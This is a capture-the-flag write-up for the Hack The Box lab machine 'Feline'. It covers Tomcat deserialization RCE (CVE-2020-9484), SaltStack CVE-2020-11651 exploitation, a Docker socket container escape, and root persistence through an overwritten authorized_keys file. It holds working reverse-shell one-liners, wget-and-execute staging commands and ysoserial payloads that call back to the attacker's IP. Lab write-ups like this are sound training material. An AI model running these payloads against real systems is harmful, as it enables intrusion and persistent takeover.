Details
This machine is Feline from Hack The Box
Recon
kali@kali:~$ nmap -sV -p- 10.10.10.205
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-12 10:39 EST
Nmap scan report for 10.10.10.205
Host is up (0.016s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
8080/tcp open http Apache Tomcat 9.0.27
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.78 seconds
User
I found a potential exploit for this tomcat version https://www.redtimmy.com/apache-tomcat-rce-by-deserialization-cve-2020-9484-write-up-and-exploit/, then checked it at http://10.10.10.205:8080/
Then http://10.10.10.205:8080/service
So I made a file called test.txt and tried uploading it
I also found the javascript that handles the uploading view-source:http://10.10.10.205:8080/service/script.js
When I tried uploading a png I got an interesting response in burp
So /opt/tomcat/temp
may be the uploads directory, but it might also just be where it is stored pre-processing. I eventually found that uploading a file simply called "." caused another error
This gave me a more believable path of /opt/samples/uploads
. So I decided to test the previously found exploit. First using ysoserial to build a payload that would simply callback
kali@kali:~$ java -jar /opt/ysoserial/ysoserial-master-SNAPSHOT.jar CommonsCollections2 'nc 10.10.14.21 4444' > /tmp/test.session
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I then uploaded the test.session
file, and set a listener
kali@kali:~$ nc -nvlp 4444
I then ran another request where I set my cookie to
../../../../../../../opt/samples/uploads/test
And in the listener
connect to [10.10.14.21] from (UNKNOWN) [10.10.10.205] 36886
It had worked. So I setup another payload, this time to spawn a shell
kali@kali:~$ java -jar /opt/ysoserial/ysoserial-master-SNAPSHOT.jar CommonsCollections2 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.21 4444 >/tmp/f' > /tmp/shell.session
I then repeated the process, but didn't get a shell. So I decided to try a staged payload. I created a file called shell.sh
which contained
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.21 4444 >/tmp/f
I exposed this with a python simplehttpserver and generated 2 paylaods for the deserialisation
kali@kali:~$ java -jar /opt/ysoserial/ysoserial-master-SNAPSHOT.jar CommonsCollections2 'wget http://10.10.14.21/shell.sh -O /tmp/shell.sh' > /tmp/stage1.session
kali@kali:~$ java -jar /opt/ysoserial/ysoserial-master-SNAPSHOT.jar CommonsCollections2 'sh /tmp/shell.sh' > /tmp/stage2.session
And triggered them in order, in the simplehttpserver
10.10.10.205 - - [12/Nov/2020 11:42:22] "GET /shell.sh HTTP/1.1" 200 -
And in the listener
connect to [10.10.14.21] from (UNKNOWN) [10.10.10.205] 37030
/bin/sh: 0: can't access tty; job control turned off
$
$ python3 -c "import pty;pty.spawn('/bin/bash')"
tomcat@VirusBucket:/opt/tomcat$
I had a shell, and could grab user
tomcat@VirusBucket:~$ ls -la
ls -la
total 24
drwxr-xr-x 2 root root 4096 Jun 17 05:14 .
drwxr-xr-x 3 root root 4096 Jun 17 03:18 ..
lrwxrwxrwx 1 root root 9 Jun 17 05:14 .bash_history -> /dev/null
-rw-r--r-- 1 tomcat tomcat 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 tomcat tomcat 3771 Feb 25 2020 .bashrc
-rw-r--r-- 1 tomcat tomcat 807 Feb 25 2020 .profile
-rw-r--r-- 1 root root 33 Nov 12 15:46 user.txt
tomcat@VirusBucket:~$ cat user.txt
cat user.txt
[REDACTED]
Root
I found various ports listening on only localhost
tomcat@VirusBucket:/$ netstat -plnt
netstat -plnt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:4505 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:4506 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:46855 0.0.0.0:* LISTEN -
tcp6 0 0 :::8080 :::* LISTEN 926/java
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 127.0.0.1:8005 :::* LISTEN 926/java
Testing I found htat port 4505 is used for software called saltstack https://docs.saltstack.com/en/latest/topics/tutorials/firewall.html which in turn led me to CVE-2020-11651 https://github.com/jasperla/CVE-2020-11651-poc
I decided to forward the port out to myself in case the target didn't have all the required modules so I moved over a socat binary an used it to do the forwarding
tomcat@VirusBucket:/tmp$ ./socat TCP-LISTEN:8888,fork,reuseaddr TCP:127.0.01:4506 &
I then tested the exploit a few times to get a shell, eventually having luck with a python shell. I exposed a file called shell.py containing
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.21",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Set a listener
kali@kali:~$ nc -nlvp 5555
Used the exploit to download this onto the target
kali@kali:~$ python3 exploit.py --master 10.10.10.205 --port 8888 --exec "wget http://10.10.14.21/shell.py -O /tmp/shell.py"
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Checking salt-master (10.10.10.205:8888) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651... YES
[*] root key obtained: HP8TyqMUHfPil+z1OVoqwV6srXUL4KitggRnlrgBZL0UekmKX0DiEsXGsPjynwqWgJPscINPSbs=
[+] Attemping to execute wget http://10.10.14.21/shell.py -O /tmp/shell.py on 10.10.10.205
[+] Successfully scheduled job: 20201112175426217035
And then ran it
kali@kali:~$ python3 exploit.py --master 10.10.10.205 --port 8888 --exec "python3 /tmp/shell.py"
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Checking salt-master (10.10.10.205:8888) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651... YES
[*] root key obtained: HP8TyqMUHfPil+z1OVoqwV6srXUL4KitggRnlrgBZL0UekmKX0DiEsXGsPjynwqWgJPscINPSbs=
[+] Attemping to execute python3 /tmp/shell.py on 10.10.10.205
[+] Successfully scheduled job: 20201112175446127518
In my listener
connect to [10.10.14.21] from (UNKNOWN) [10.10.10.205] 57128
/bin/sh: 0: can't access tty; job control turned off
#
A root shell, grab the flag
# id
uid=0(root) gid=0(root) groups=0(root)
# pwd
/root
# ls -la
total 28
drwx------ 1 root root 4096 Jun 30 12:45 .
drwxr-xr-x 1 root root 4096 Jun 30 12:33 ..
-rw------- 1 root root 1336 Jun 30 16:12 .bash_history
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwxr-xr-x 2 root root 4096 May 3 2020 .ssh
-rw-r--r-- 1 root root 137 Jun 30 12:41 todo.txt
Or not...
# cat todo.txt
- Add saltstack support to auto-spawn sandbox dockers through events.
- Integrate changes to tomcat and make the service open to public.
# hostname
2d24bf61767c
I was in a docket container. But I found the docker.sock file was available and writable to me
# cd /var/run
# ls -la
total 40
drwxr-xr-x 1 root root 4096 Nov 12 15:42 .
drwxr-xr-x 1 root root 4096 Jun 30 12:33 ..
-rw-r--r-- 1 root root 3 Nov 12 15:42 crond.pid
---------- 1 root root 0 Jun 30 12:33 crond.reboot
srw-rw---- 1 root 118 0 Nov 12 15:41 docker.sock
drwxrwxrwt 2 root root 4096 Apr 22 2020 lock
drwxr-xr-x 1 root root 4096 Jun 30 12:33 salt
-rw-r--r-- 1 root root 1 Nov 12 15:42 salt-api.pid
-rw-r--r-- 1 root root 1 Nov 12 15:42 salt-master.pid
drwxr-xr-x 2 root root 4096 May 3 2020 sshd
-rw-r--r-- 1 root root 2 Nov 12 15:42 sshd.pid
This means I can access the host file system by spawning a new container with it mounted https://dejandayoff.com/the-danger-of-exposing-docker.sock/, I got a static docker binary from https://download.docker.com/linux/static/stable/x86_64/ which I loaded onto the container
# ./docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
sandbox latest a24bb4013296 5 months ago 5.57 MB
<none> <none> 188a2704d8b0 6 months ago 1.06 GB
So I'll instance a new sandbox, but mount the root file system to /mnt
# python3 -c "import pty;pty.spawn('/bin/bash')"
root@2d24bf61767c:/tmp#
root@2d24bf61767c:/tmp# ./docker run -it -v /:/mnt sandbox
./docker run -it -v /:/mnt sandbox
/ # ^[[44;5R
I was now in a root shell on the new container
/ # ^[[44;5Rcd /mnt
cd /mnt
/mnt # ^[[44;8Rls -la
ls -la
total 2097232
drwxr-xr-x 20 root root 4096 Jun 30 12:47 .
drwxr-xr-x 1 root root 4096 Nov 12 18:15 ..
lrwxrwxrwx 1 root root 7 Apr 23 2020 bin -> usr/bin
drwxr-xr-x 3 root root 4096 Jul 23 06:16 boot
drwxr-xr-x 2 root root 4096 May 7 2020 cdrom
drwxr-xr-x 17 root root 3900 Nov 12 15:41 dev
drwxr-xr-x 101 root root 4096 Aug 22 06:49 etc
drwxr-xr-x 3 root root 4096 Jun 17 03:18 home
lrwxrwxrwx 1 root root 7 Apr 23 2020 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Apr 23 2020 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Apr 23 2020 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Apr 23 2020 libx32 -> usr/libx32
drwx------ 2 root root 16384 May 7 2020 lost+found
drwxr-xr-x 2 root root 4096 Apr 23 2020 media
drwxr-xr-x 2 root root 4096 Apr 23 2020 mnt
drwxr-xr-x 5 root root 4096 Jun 30 11:51 opt
dr-xr-xr-x 193 root root 0 Nov 12 15:41 proc
drwx------ 6 root root 4096 Aug 26 14:28 root
drwxr-xr-x 29 root root 920 Nov 12 16:18 run
lrwxrwxrwx 1 root root 8 Apr 23 2020 sbin -> usr/sbin
drwxr-xr-x 6 root root 4096 May 7 2020 snap
drwxr-xr-x 2 root root 4096 Apr 23 2020 srv
-rw------- 1 root root 2147483648 May 7 2020 swap.img
dr-xr-xr-x 13 root root 0 Nov 12 15:41 sys
drwxrwxrwt 7 root root 4096 Nov 12 18:15 tmp
drwxr-xr-x 14 root root 4096 Apr 23 2020 usr
drwxr-xr-x 13 root root 4096 Apr 23 2020 var
Which had the host file system
/mnt # ^[[44;8Rcd root
cd root
/mnt/root # ^[[44;13Rls -la
ls -la
total 56
drwx------ 6 root root 4096 Aug 26 14:28 .
drwxr-xr-x 20 root root 4096 Jun 30 12:47 ..
lrwxrwxrwx 1 root root 9 Jun 17 05:14 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwx------ 2 root root 4096 Jun 30 09:23 .cache
drwxr-xr-x 3 root root 4096 Jun 30 09:31 .local
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-rw-r--r-- 1 root root 75 Jun 30 10:23 .selected_editor
drwx------ 2 root root 4096 Jun 30 09:10 .ssh
-rw------- 1 root root 12235 Aug 26 14:28 .viminfo
-rw-r--r-- 1 root root 165 Jun 30 11:59 .wget-hsts
-rw------- 1 root root 33 Nov 12 15:46 root.txt
drwxr-xr-x 3 root root 4096 May 18 08:44 snap
I could now get the root flag
/mnt/root # ^[[44;13Rcat root.txt
cat root.txt
[REDACTED]
But I also wanted a shell, so I overwrote roots authorized_keys file
/mnt/root/.ssh # ^[[44;18Rwget http://10.10.14.21/id_rsa.pub -O /mnt/root/.ssh/authorized_keys
wget http://10.10.14.21/id_rsa.pub -O /mnt/root/.ssh/authorized
_keys
Connecting to 10.10.14.21 (10.10.14.21:80)
saving to '/mnt/root/.ssh/authorized_keys'
authorized_keys 100% |********************************| 563 0:00:00 ETA
'/mnt/root/.ssh/authorized_keys' saved
And logged in on ssh
kali@kali:~$ ssh root@10.10.10.205 -i /tmp/id_rsa
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-42-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu 12 Nov 2020 06:17:31 PM UTC
System load: 0.0
Usage of /: 45.5% of 19.56GB
Memory usage: 24%
Swap usage: 0%
Processes: 206
Users logged in: 0
IPv4 address for br-e9220f64857c: 172.18.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for ens160: 10.10.10.205
IPv6 address for ens160: dead:beef::250:56ff:feb9:212d
* Are you ready for Kubernetes 1.19? It's nearly here! Try RC3 with
sudo snap install microk8s --channel=1.19/candidate --classic
https://microk8s.io/ has docs and details.
64 updates can be installed immediately.
0 of these updates are security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Wed Aug 26 14:28:09 2020
root@VirusBucket:~#